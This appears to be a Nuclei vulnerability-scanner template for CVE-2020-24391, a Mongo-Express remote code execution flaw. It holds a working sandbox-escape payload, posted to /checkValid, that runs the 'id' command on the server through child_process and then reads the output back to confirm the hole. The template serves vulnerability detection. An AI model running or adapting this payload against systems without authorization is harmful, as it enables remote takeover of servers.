59 lines
2.1 KiB
YAML
59 lines
2.1 KiB
YAML
id: CVE-2020-24391
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info:
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name: Mongo-Express - Remote Code Execution
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author: leovalcante
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severity: critical
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description: Mongo-Express before 1.0.0 is susceptible to remote code execution because it uses safer-eval to validate user supplied javascript. Unfortunately safer-eval sandboxing capabilities are easily bypassed leading to remote code execution in the context of the node server.
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reference:
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- https://securitylab.github.com/advisories/GHSL-2020-131-mongo-express/
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- https://github.com/mongo-express/mongo-express/commit/3a26b079e7821e0e209c3ee0cc2ae15ad467b91a
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- https://nvd.nist.gov/vuln/detail/CVE-2020-24391
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- https://github.com/mongodb-js/query-parser/issues/16
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2020-24391
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epss-score: 0.48236
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cpe: cpe:2.3:a:mongo-express_project:mongo-express:*:*:*:*:*:node.js:*:*
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metadata:
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max-request: 3
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framework: node.js
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vendor: mongo-express_project
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product: mongo-express
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tags: cve,cve2020,mongo,express,rce,intrusive
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http:
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- raw:
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- |
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GET / HTTP/1.1
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Host: {{Hostname}}
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- |
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POST /checkValid HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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document=++++++++++++%28%28%29+%3D%3E+%7B%0A++++++++const+process+%3D+clearImmediate.constructor%28%22return+process%3B%22%29%28%29%3B%0A++++++++const+result+%3D+process.mainModule.require%28%22child_process%22%29.execSync%28%22id+%3E+build%2Fcss%2F{{randstr}}.css%22%29%3B%0A++++++++console.log%28%22Result%3A+%22+%2B+result%29%3B%0A++++++++return+true%3B%0A++++%7D%29%28%29++++++++
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- |
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GET /public/css/{{randstr}}.css HTTP/1.1
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Host: {{Hostname}}
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cookie-reuse: true
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req-condition: true
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matchers-condition: and
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matchers:
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- type: regex
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part: body_3
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regex:
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- "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"
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- type: status
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status:
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- 200
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extractors:
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- type: regex
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regex:
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- "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"
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